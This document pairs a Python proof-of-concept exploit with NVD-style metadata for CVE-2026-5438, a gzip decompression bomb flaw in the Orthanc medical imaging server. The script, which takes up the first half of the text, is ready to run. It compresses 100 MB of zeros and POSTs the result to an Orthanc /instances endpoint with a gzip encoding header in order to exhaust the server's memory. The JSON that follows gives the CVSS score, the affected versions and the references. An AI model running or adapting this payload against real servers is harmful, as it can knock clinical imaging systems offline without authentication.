CVE-2026-5438

import gzip import requests # Proof of Concept for CVE-2026-5438 # Generates a gzip bomb to trigger memory exhaustion def create_gzip_bomb(uncompressed_size): """ Creates a gzip payload that expands to a large size. Note: Adjust size based on target memory limits. """ # Creating a payload of zeros (highly compressible) # In a real scenario, this could be much larger (e.g., 1GB+) data = b'\x00' * uncompressed_size compressed_data = gzip.compress(data) return compressed_data # Configuration target_url = 'http://target-orthanc-server:8042/instances' # 100MB of zeros compresses to a very small size (approx 100KB) bomb_payload = create_gzip_bomb(100 * 1024 * 1024) headers = { 'Content-Encoding': 'gzip', 'Content-Type': 'application/dicom' } try: print(f"Sending payload ({len(bomb_payload)} bytes compressed)...") response = requests.post(target_url, data=bomb_payload, headers=headers, timeout=10) print(f"Response Status: {response.status_code}") except requests.exceptions.Timeout: print("Request timed out - Server may be unresponsive (DoS likely).") except Exception as e: print(f"An error occurred: {e}")

{"cve": {"id": "CVE-2026-5438", "sourceIdentifier": "[email protected]", "published": "2026-04-09T15:16:15.327", "lastModified": "2026-04-15T19:31:48.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A gzip decompression bomb vulnerability exists when Orthanc processes HTTP request with `Content-Encoding: gzip`. The server does not enforce limits on decompressed size and allocates memory based on attacker-controlled compression metadata. A specially crafted gzip payload can trigger excessive memory allocation and exhaust system memory."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:orthanc-server:orthanc:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.12.11", "matchCriteriaId": "A259075D-8B77-4B04-BC42-3E5ABE9DFE1F"}]}]}], "references": [{"url": "https://kb.cert.org/vuls/id/536588", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.machinespirits.de/", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.orthanc-server.com/", "source": "[email protected]", "tags": ["Product"]}]}}